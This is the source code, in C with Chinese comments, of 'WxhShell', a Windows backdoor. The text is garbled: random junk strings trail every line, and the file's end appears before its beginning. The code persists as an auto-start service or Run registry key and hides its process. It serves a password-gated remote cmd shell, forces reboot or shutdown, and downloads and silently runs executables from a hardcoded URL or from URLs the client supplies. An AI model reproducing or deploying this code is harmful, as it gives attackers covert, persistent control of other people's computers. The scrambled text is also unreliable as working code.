    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /F9Dg<#a  
    else { 6]Q#4  
    closesocket(wsh); $j(d`@.DN~  
    ExitThread(0); `R xCs`  
    } 63%V_B|  
    break; fzw:[z:%  
    } F-b]>3r  
  // 获取shell _&\'Va$  
  case 's': { 1<Mb@t  
    CmdShell(wsh); lyFlJmi,r  
    closesocket(wsh); iLJ@oM;2  
    ExitThread(0); AX%}ip[PC  
    break; ZA. S X|m  
  } %FM26^  
  // 退出 lw gwdB  
  case 'x': { aNY-F)XWa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )+'=Zvgej=  
    CloseIt(wsh); Dq<DW2It>  
    break; aem gGw<  
    } szhSI  
  // 离开 64#Ri!RR}  
  case 'q': { m,t{D, 2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,SNrcwv  
    closesocket(wsh); 4)OOj14-V  
    WSACleanup(); ub fh4  
    exit(1); <uS/8MP{  
    break; %qo.n v  
        } 8x)i{>#i  
  } jSHFY]2  
  } s@iY'11  
eGg6wd  
  // 提示信息 QD{1?aY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yb`b /BMR  
} Y$"m*0  
  } T30fp  
]S]W|m7=.Z  
  return; 0wNlt#G;{  
} w0Nm.=I-   
lEwQj[ k  
// shell模块句柄 E9I08AODS  
int CmdShell(SOCKET sock) [pp|*@1T  
{ 'R'hRMD9o  
STARTUPINFO si; #oa>Z.?_V  
ZeroMemory(&si,sizeof(si)); ,G46i)E\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Z:x!M[Xr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u0arJU_.)  
PROCESS_INFORMATION ProcessInfo; '"\n,3h  
char cmdline[]="cmd"; hx;kNcPbI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M_UmnqN1C  
  return 0; YJHb\Cf.  
} k'|yUJ,  
v!ai_d^  
// 自身启动模式 s+fxv(,"c  
int StartFromService(void) !',%kvJI  
{ W).Kq-  
typedef struct Kf[.@_TD<1  
{ %5zIh[!1$  
  DWORD ExitStatus; ]nebL{}5  
  DWORD PebBaseAddress; gI2'[OU  
  DWORD AffinityMask; K n1;=k  
  DWORD BasePriority; $'5rS$]a/  
  ULONG UniqueProcessId; 3b0|7@_E  
  ULONG InheritedFromUniqueProcessId; F."ZCEb  
}   PROCESS_BASIC_INFORMATION; NkNFx<9T  
1Dhe! n#  
PROCNTQSIP NtQueryInformationProcess; Zazs".  
sUc[!S:/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nt()UC`5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R+K|K2"  
#prYZcHv:_  
  HANDLE             hProcess; '&,p>aM  
  PROCESS_BASIC_INFORMATION pbi; ;8&/JSN M  
ic!% }S?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V3cKdlu Na  
  if(NULL == hInst ) return 0; J %A=  
zY*~2|q,s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Y2 J:x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PknKzrEG:>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MS#*3Md&y  
O:rf DO  
  if (!NtQueryInformationProcess) return 0; t,/8U  
Z}vDP^rf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O#[bNLV  
  if(!hProcess) return 0; : KFK2yD  
O9?.J,,mVh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l"`VvW[  
S~fP$L5  
  CloseHandle(hProcess); 6[R6P:v&'G  
EHhc2^e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zd$?2y8  
if(hProcess==NULL) return 0; ',]Aj!q  
VKYljY0#  
HMODULE hMod; J[Mj8ee#  
char procName[255]; f2o6GC_  
unsigned long cbNeeded; k%Tp9x$  
CFW Hih  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x_<#28H!  
p8-$MF]] 6  
  CloseHandle(hProcess); [!3cWJCt  
DxN\ H"  
if(strstr(procName,"services")) return 1; // 以服务启动 "m6G;cv  
yN`&oya  
  return 0; // 注册表启动 T;{}bc&I  
} ZQ`4'|"  
)OFN0'  
// 主模块 =a=:+q g  
int StartWxhshell(LPSTR lpCmdLine) N>a~k}pPH  
{ %rrD+  
  SOCKET wsl;  gsi2  
BOOL val=TRUE; ~rjK*_3/  
  int port=0; D'ZUbAh!  
  struct sockaddr_in door; 1GkoE  
9mXmghoCO  
  if(wscfg.ws_autoins) Install(); ARnq~E@1  
NPO!J^^  
port=atoi(lpCmdLine); *w ^!\  
| ~>7_:  
if(port<=0) port=wscfg.ws_port;  Glx{Zu=  
jZmL7 V  
  WSADATA data; bW/T}FN D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D(|+z-}M  
M3!;u%~} s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ny`SE\B+/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,+OVRc  
  door.sin_family = AF_INET; ir\)Hz2P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1\/vS$bi(  
  door.sin_port = htons(port); [K4 k7$  
?kV_!2U)'K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v5?)J91  
closesocket(wsl); lF46W  
return 1; /?Y4C)G  
} Ji=`XsV  
m8b-\^eP7  
  if(listen(wsl,2) == INVALID_SOCKET) { 'ju_l)(R  
closesocket(wsl); 8~.8"gQ  
return 1; 4XiQ8"C  
} /']`}*d  
  Wxhshell(wsl); #ifjQ7(:  
  WSACleanup(); h;#^?v!+  
?/@XJcm+  
return 0; t(.vX  
AhjCRYk+  
} 6Qz=g t%I=  
E"/k"1@  
// 以NT服务方式启动 %g>k0~TRf#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4pcIH5)z  
{ Edcv>}PfE  
DWORD   status = 0; "_BWUY  
  DWORD   specificError = 0xfffffff; ?wIEXKI  
QJx<1#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; # X{lV]Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *U8,Q]gS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hQ L@q7tUr  
  serviceStatus.dwWin32ExitCode     = 0; mB bGj3u;  
  serviceStatus.dwServiceSpecificExitCode = 0; M#8_Qbvfk  
  serviceStatus.dwCheckPoint       = 0; W5Jb5  
  serviceStatus.dwWaitHint       = 0; -J]N &[  
Pum&\.l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y<v-,b*  
  if (hServiceStatusHandle==0) return; 6*|EB|%n  
7o*~zDh@fH  
status = GetLastError(); (X2[}K  
  if (status!=NO_ERROR) ,^v_gc  
{ %(\et%[]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pVjOp~=U  
    serviceStatus.dwCheckPoint       = 0; i{HzY[  
    serviceStatus.dwWaitHint       = 0; }C=+Tn  
    serviceStatus.dwWin32ExitCode     = status; ~Hx>yn94e  
    serviceStatus.dwServiceSpecificExitCode = specificError; (J(SwL|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )U}`x }:,  
    return; >oAXS\Ts  
  } [ 8WG  
+J42pSxzoo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6mIRa(6V  
  serviceStatus.dwCheckPoint       = 0; uSxldc  
  serviceStatus.dwWaitHint       = 0; {HVsRpNEf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7< ?Aou  
} uF D  
/}d)g4\j  
// 处理NT服务事件,比如:启动、停止 q((%sWp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zItGoJu  
{ ZNDjk  
switch(fdwControl) ,C'mE''x  
{ mMK 93Ng"&  
case SERVICE_CONTROL_STOP: ]0}NF  
  serviceStatus.dwWin32ExitCode = 0; B6!ni@$M8X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eFQz G+/  
  serviceStatus.dwCheckPoint   = 0; R?2T0^0  
  serviceStatus.dwWaitHint     = 0; U[ogtfv`m  
  {  O&dh<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ff[GR$m  
  } xu'b@G}12  
  return; 5~i}!n  
case SERVICE_CONTROL_PAUSE: ^|cax| >  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gs*X> D  
  break; e~6>8YO+7j  
case SERVICE_CONTROL_CONTINUE: 4(8BWP~.y2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RAxp2uif  
  break; #<-%%  
case SERVICE_CONTROL_INTERROGATE: jhka;m  
  break; FJ|JXH*  
}; ]L\]Ll;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9$lOk4/  
} 1#vi]CX  
!WD^To  
// 标准应用程序主函数 AIM<mU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z4T{CwD`D  
{ W3B:)<f  
*adwCiB  
// 获取操作系统版本 6eK7Jv\K  
OsIsNt=GetOsVer(); }};AV)}J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Okd7ua-f  
+,4u1`c|$  
  // 从命令行安装 -&LF`V&3w  
  if(strpbrk(lpCmdLine,"iI")) Install(); [85tZr]  
TA"gU8YQ  
  // 下载执行文件 6dqI{T-i?  
if(wscfg.ws_downexe) { /t _QA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B5#>ieM*  
  WinExec(wscfg.ws_filenam,SW_HIDE); S@WT;Q2Z  
} AhNz[A  
p3cb_  
if(!OsIsNt) { N9PEn[t@  
// 如果时win9x,隐藏进程并且设置为注册表启动 FOSC#W9E  
HideProc(); jG/@kh*m  
StartWxhshell(lpCmdLine); }^*m0`H  
} #>">fs]  
else ?#/~ BZR!  
  if(StartFromService()) qo:t"x^  
  // 以服务方式启动 !/E N  
  StartServiceCtrlDispatcher(DispatchTable); s[u*~A  
else VP6_}9:9   
  // 普通方式启动 V`"Cd?R0Z  
  StartWxhshell(lpCmdLine); BBRZlx  
6'1Lu1w  
return 0; Z67'/z$0  
} `Wp& 'X  
)C0 y<:</  
zkHyx[L  
3q0S}<h al  
=========================================== X->` ~-aj  
g"X!&$ &  
E{IY7Xz^>  
c #8@>;  
p 8lm1;  
;% l0Ml>  
" 5DVSaI$ =  
$&. rS.*  
#include <stdio.h> 7y=1\KW(  
#include <string.h> G,,f' >  
#include <windows.h> p1 mY!&e(  
#include <winsock2.h> #c`/ f6z  
#include <winsvc.h> J?qikE&  
#include <urlmon.h> m/ngPeZ  
HXQ } B$V  
#pragma comment (lib, "Ws2_32.lib") >$;,1N $bd  
#pragma comment (lib, "urlmon.lib") Xrzpn&Y=#  
5_4 =(?<  
#define MAX_USER   100 // 最大客户端连接数 QzV%m0  
#define BUF_SOCK   200 // sock buffer B8?j"AF  
#define KEY_BUFF   255 // 输入 buffer muIJeQ.C  
H8qWY"<Vd  
#define REBOOT     0   // 重启 256V xn  
#define SHUTDOWN   1   // 关机 B1z7r0Rm,  
G%SoC  
#define DEF_PORT   5000 // 监听端口 G-Zn-I  
Ej$oRo{ IG  
#define REG_LEN     16   // 注册表键长度 4gn|zSe>^  
#define SVC_LEN     80   // NT服务名长度 FOS*X  
P B{7u  
// 从dll定义API :qtg`zM/4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gyOAvx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -5,+gakSk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P&AaD!Qn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -;GB Xq  
1A N)%  
// wxhshell配置信息 c"NGE  
struct WSCFG { @Zfg]L{Lr  
  int ws_port;         // 监听端口 `i6q\-12n  
  char ws_passstr[REG_LEN]; // 口令 ,-1d2y  
  int ws_autoins;       // 安装标记, 1=yes 0=no E4xybVo@  
  char ws_regname[REG_LEN]; // 注册表键名 t[\6/`YH  
  char ws_svcname[REG_LEN]; // 服务名 G+K`FUNA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hh &s.ja  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kDc/]Zb%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 68nPz".X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /!W',9ua6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /cx Ei6I-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 py9`q7F  
j]6YLM@5$  
}; U sV?}  
j +Ro?  
// default Wxhshell configuration W(PNw2  
struct WSCFG wscfg={DEF_PORT, D1cnf"y^  
    "xuhuanlingzhe", a-9sc6@  
    1, p?x]|`M  
    "Wxhshell", U6~79Hnt  
    "Wxhshell", oC(.u?  
            "WxhShell Service", T,v5cc:nO  
    "Wrsky Windows CmdShell Service", }Hb_8P  
    "Please Input Your Password: ", ,ydn]0SS  
  1, /mnV$+BE  
  "http://www.wrsky.com/wxhshell.exe", 1#nY Z%  
  "Wxhshell.exe" *m`F-J6U  
    }; 8lF:70wia  
6R!AIOD>  
// 消息定义模块 S|T*-?|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g HKA:j`c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NzbHg p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IUQYoKz4}A  
char *msg_ws_ext="\n\rExit."; A "~Oi  
char *msg_ws_end="\n\rQuit."; tdnd~WSR  
char *msg_ws_boot="\n\rReboot..."; u7bji>j  
char *msg_ws_poff="\n\rShutdown..."; %DhLU~VX  
char *msg_ws_down="\n\rSave to "; :bz;_DZP  
g715+5z[  
char *msg_ws_err="\n\rErr!"; p.!p6ve){  
char *msg_ws_ok="\n\rOK!"; 64f6D"."  
^c:I]_Ww  
char ExeFile[MAX_PATH]; p\r V6+  
int nUser = 0; t&rr;W]  
HANDLE handles[MAX_USER]; P@Av/r  
int OsIsNt; #YB3Ug]z  
q8 Rep  
SERVICE_STATUS       serviceStatus; iI!g1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qEnmms1  
^-7-jZ@jz  
// 函数声明 IdciGS6 t  
int Install(void); #,rP1#?  
int Uninstall(void); .,gVquqMY  
int DownloadFile(char *sURL, SOCKET wsh); pcPRkYT[ M  
int Boot(int flag); ,~7+r#q7  
void HideProc(void); ;Dc\[r  
int GetOsVer(void); "oT]_WHqo  
int Wxhshell(SOCKET wsl); Xb7G!Hk#g  
void TalkWithClient(void *cs); seNH/pRb  
int CmdShell(SOCKET sock); 1:Xg&4s  
int StartFromService(void); ph@2[rUp  
int StartWxhshell(LPSTR lpCmdLine); ,pVq/1  
KPdlg.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q4ej7T8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r }Nq"s<  
[N1[khY`  
// 数据结构和表定义 i-Ri;E  
SERVICE_TABLE_ENTRY DispatchTable[] = ^%Fn|U\u  
{ u&$1XZ!es  
{wscfg.ws_svcname, NTServiceMain}, $lf\1)B~*  
{NULL, NULL} ^uIKwql  
}; 3vF-SgCV  
zjwo"6c>  
// 自我安装 <F+9#-  
int Install(void) rcG-V f@  
{ S-G#+ Ue2  
  char svExeFile[MAX_PATH]; Aq{7WA  
  HKEY key; K yp(dp>  
  strcpy(svExeFile,ExeFile); (r$QQO) /  
rYk   
// 如果是win9x系统,修改注册表设为自启动 f`_6X~ p  
if(!OsIsNt) { &}vc^io  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b ;t b&o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y# ?M%I%j  
  RegCloseKey(key); / lN09j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { He)dm5#fg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /BfCh(B  
  RegCloseKey(key); 9NcC.}#-5  
  return 0; K2t|d[r  
    } CiC@Z,ud`  
  } DwH=ln=  
} %'<m[wf^ o  
else { dG'5: ,n/  
' $X}'u  
// 如果是NT以上系统,安装为系统服务 t^@4n&Dg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 A1w5|X  
if (schSCManager!=0) 5}_DyoV  
{ AJ-~F>gn  
  SC_HANDLE schService = CreateService NpF}~$2  
  ( Ue]GHJ2  
  schSCManager, sBD\;\I  
  wscfg.ws_svcname, ppo\cy;  
  wscfg.ws_svcdisp, +Ek('KOF  
  SERVICE_ALL_ACCESS,  p(Bn!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h;sdm/  
  SERVICE_AUTO_START, p3(&9~ s  
  SERVICE_ERROR_NORMAL, EL-1o0 2-  
  svExeFile, \m;"KyP+  
  NULL, >QM$ NIf@  
  NULL, rJl'+Ae9N|  
  NULL, nH]F$'rtA  
  NULL, Qr l>A*  
  NULL iv62Fs'  
  ); XDi[Iyj  
  if (schService!=0) &-1;3+#w  
  { +R?d6IjH  
  CloseServiceHandle(schService); 9K F`9Y  
  CloseServiceHandle(schSCManager); xlWTHn!j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NP*M#3$[  
  strcat(svExeFile,wscfg.ws_svcname); N/fH%AtM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (l3P<[[?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L E>A|M$X  
  RegCloseKey(key); wFJ?u?b0Q  
  return 0; H|iY<7@  
    } * F T )`  
  } 8L7ZWw d  
  CloseServiceHandle(schSCManager); h .Iscr^~  
} 9 6'{ES9D  
} `?ijKZ}y5  
e.|_=Gd2/  
return 1; :3x|U,wC  
} @gZ<!g/vza  
;9hi2_luV  
// 自我卸载 4F+n`{~  
int Uninstall(void) Ysk,9MR(F  
{ R2af>R  
  HKEY key; ^^I3%6UY  
?X.MKNbp  
if(!OsIsNt) { V nv9 <=R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iPxhDn<B  
  RegDeleteValue(key,wscfg.ws_regname); 2I#4jy/g  
  RegCloseKey(key); m18If  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^c{,QS{  
  RegDeleteValue(key,wscfg.ws_regname); t-$R)vZ}M  
  RegCloseKey(key); }'KVi=qnHb  
  return 0; I%NPc4p  
  } t1)b26;  
} 0NB6S&lI^k  
} XACbDKyS  
else { =x4:jas  
!ACWv*pW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xh/i5}5 t  
if (schSCManager!=0) ?5#Ng,8iT  
{ 6.Nu[-?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -k p~p e*T  
  if (schService!=0) lMX 2O2 o  
  { nL+*-R!R  
  if(DeleteService(schService)!=0) { nz|;6?LCLY  
  CloseServiceHandle(schService); aPq9^S*  
  CloseServiceHandle(schSCManager); 28;D>6c  
  return 0; IPU'M*|Q  
  } 0(|BQ'4~H  
  CloseServiceHandle(schService); `CI9~h@k  
  } u:pdY'`"#  
  CloseServiceHandle(schSCManager); ~EIY(^|py  
} 8z^?PZ/  
} ?=]`X=g 6  
.#uRJo%8  
return 1; OYJy;u3"  
} aXyu%<@k  
"3{xa;c  
// 从指定url下载文件 5r<%xanXW/  
int DownloadFile(char *sURL, SOCKET wsh) ,@=qaU  
{ >eg&i(C+  
  HRESULT hr; (XJehdB0  
char seps[]= "/"; p;:tzH\l  
char *token; BciwS_Qx  
char *file; ~4[2{M.0>@  
char myURL[MAX_PATH]; .9Bimhc6K  
char myFILE[MAX_PATH]; owTW_V  
a}a_&rf~Z  
strcpy(myURL,sURL); *$x/(!UE  
  token=strtok(myURL,seps); a\\B88iRRZ  
  while(token!=NULL) 5M{N-L_eC  
  { * eL%[B  
    file=token; j-ugsV`2=*  
  token=strtok(NULL,seps); Z!C\n[R/  
  } Q;{yIa$ $  
cD8.rRyD  
GetCurrentDirectory(MAX_PATH,myFILE); TH/!z,( >  
strcat(myFILE, "\\"); qt}vM*0}V  
strcat(myFILE, file); geWis(#J  
  send(wsh,myFILE,strlen(myFILE),0); C81+nR  
send(wsh,"...",3,0); \~Zj](#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .G1NY1\  
  if(hr==S_OK) KO<fN,DR  
return 0; %96JH YcX  
else q|om^:n.  
return 1; aZ2liR\QE  
JiP]F J;  
} '/SMqmi  
oo3ZYA  
// 系统电源模块 YWM$%   
int Boot(int flag) @g[p>t> *  
{ 7*OO k"9  
  HANDLE hToken; nTY`1w.;  
  TOKEN_PRIVILEGES tkp; KU3lAjzN  
iBxCk^  
  if(OsIsNt) { `8\pihww  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Y6{89y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?AyG!F  
    tkp.PrivilegeCount = 1; v*QobI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9+9}^B5@A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )qD%5} t  
if(flag==REBOOT) { {8Hrb^8!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O?D*<rwD  
  return 0; {{f%w$r(  
} !y'LKze+G  
else { \ Yz>=rY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <|Bh;;  
  return 0; f`p`c*  
} m'r6.Hp3Ng  
  } +uKlg#wqc  
  else { k x6%5%  
if(flag==REBOOT) { it5].A&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6"[`"~9'V  
  return 0; '%V ;oJ"  
} #; E,>0  
else { f_9%kEXICt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7&:gvhw   
  return 0; G#)>D$Ck#  
} _,NL;66=[  
} -#Yg B5  
5ts8o&|   
return 1; #_QvnQ?I  
} @?3u|m |Z  
. CLiv  
// win9x进程隐藏模块 aIRCz=N  
void HideProc(void) G|'DAj%  
{ hBLJKSv  
E4HG`_cWb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _V1O =iu-  
  if ( hKernel != NULL ) vy[*xT]  
  { (".`#909  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lK9us  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); un6grvxr  
    FreeLibrary(hKernel); D+LeZBJ  
  } ,@khV  
E3_e~yu&  
return; #v=hiL  
} nDkyo>t .  
;f^.7|  
// 获取操作系统版本 @PZ&/F ^  
int GetOsVer(void) ?Re@`f+*  
{ S@z$,}Yc`<  
  OSVERSIONINFO winfo; H-nk\ K<|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gZM\RJZ_  
  GetVersionEx(&winfo); x!{5.#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /$! / F@^  
  return 1; ?M;2H {KG:  
  else 4G;+ETp  
  return 0; (%oZgvM  
} &0It"17Ej  
E O52 E|  
// 客户端句柄模块 PnFU{N  
int Wxhshell(SOCKET wsl) iJZqAfG{m?  
{ X'TQtI  
  SOCKET wsh; aM9^V MOb  
  struct sockaddr_in client; YS{])+s  
  DWORD myID; Fs|fo-+H}k  
KX"?3#U#Fm  
  while(nUser<MAX_USER) Lf3Ri/@ p  
{ d?oupW}uu  
  int nSize=sizeof(client); {[jcT>.3j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [0lCb"  
  if(wsh==INVALID_SOCKET) return 1; m[LIM}Gu  
[`Ol&R4k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f#ID:Ap3  
if(handles[nUser]==0) <dV|N$WV  
  closesocket(wsh); 2Y(P hw2%  
else 38L8AJqD  
  nUser++; >5% o9$|z  
  } ?#-"YO7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N0O8to}V  
mv/'H^"[_  
  return 0; _'ltz!~  
} }W#Gf.$6C  
54_CewL1P]  
// 关闭 socket R61.!ql%w  
void CloseIt(SOCKET wsh) we4e>)  
{ MOP/q4j[  
closesocket(wsh); >to NGGU=~  
nUser--; -7fsfcGM$  
ExitThread(0); .>zXz%p  
} MH.,dB&  
^o,P>u!9  
// 客户端请求句柄 |g;hXr#~  
void TalkWithClient(void *cs) &{!FE`ZC_  
{ WogJ~N,d53  
\zR@FOl`q  
  SOCKET wsh=(SOCKET)cs; jmxjiJKP  
  char pwd[SVC_LEN]; Yz us=  
  char cmd[KEY_BUFF]; VU J*\Sg  
char chr[1]; #(j'?|2o%  
int i,j; dGt;t5An V  
]OL O~2j  
  while (nUser < MAX_USER) { z2vrV?:  
0j %s H  
if(wscfg.ws_passstr) { kl4FVZof  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gtHWd;1&f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Hw#O33/'  
  //ZeroMemory(pwd,KEY_BUFF); m Y*JNx  
      i=0; bX6eNk-L  
  while(i<SVC_LEN) { >'iXwe-  
F.i*'x0u  
  // 设置超时 [G>8N5@*  
  fd_set FdRead; @d:TAwOI'  
  struct timeval TimeOut; bgq/]fI}  
  FD_ZERO(&FdRead); 9_)*b  
  FD_SET(wsh,&FdRead); hm*1w6 =  
  TimeOut.tv_sec=8; Hphvsre<  
  TimeOut.tv_usec=0; M>nplHq   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k%YvJXL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Aj((tMJNOw  
R".~{6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VRQ'sn@  
  pwd=chr[0]; ad+@2-Y  
  if(chr[0]==0xd || chr[0]==0xa) { Y> ElE-  
  pwd=0; eLWD?-v%  
  break; }iZO0C  
  } L lOUK2tZ  
  i++; luXcr H+w  
    } mX66}s}#  
d+[GMIxg  
  // 如果是非法用户,关闭 socket wXI6KN-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  -i*{8t  
} Q{-T;T  
8 -]\C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t)o!OEnE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9jW/"  
zt,pV \|  
while(1) { 6+`+$s0  
4+46z|  
  ZeroMemory(cmd,KEY_BUFF); x h|NmZg  
(jhDO7  
      // 自动支持客户端 telnet标准   is`O,Met  
  j=0; )vWI{Q]r  
  while(j<KEY_BUFF) { |hGi8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =, kH(rp2  
  cmd[j]=chr[0]; vk;]9o j*  
  if(chr[0]==0xa || chr[0]==0xd) { X|]&K  
  cmd[j]=0; 93I.Wp_{  
  break; (b!`klQ  
  } )/uu~9SFd  
  j++; KlOL5"3  
    } `wrN$&  
'1rHvz`B/"  
  // 下载文件 !.\-l2f  
  if(strstr(cmd,"http://")) { 9qe<bds1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )S~ySiJ<U  
  if(DownloadFile(cmd,wsh)) @ootKY`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |,ws3  
  else Owt|vceT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?-.Qv1hs6p  
  } Fkq;Q  
  else { <Wz+f+HC  
Y\cQ "9  
    switch(cmd[0]) { <OR f{  
  :>G3N+A)  
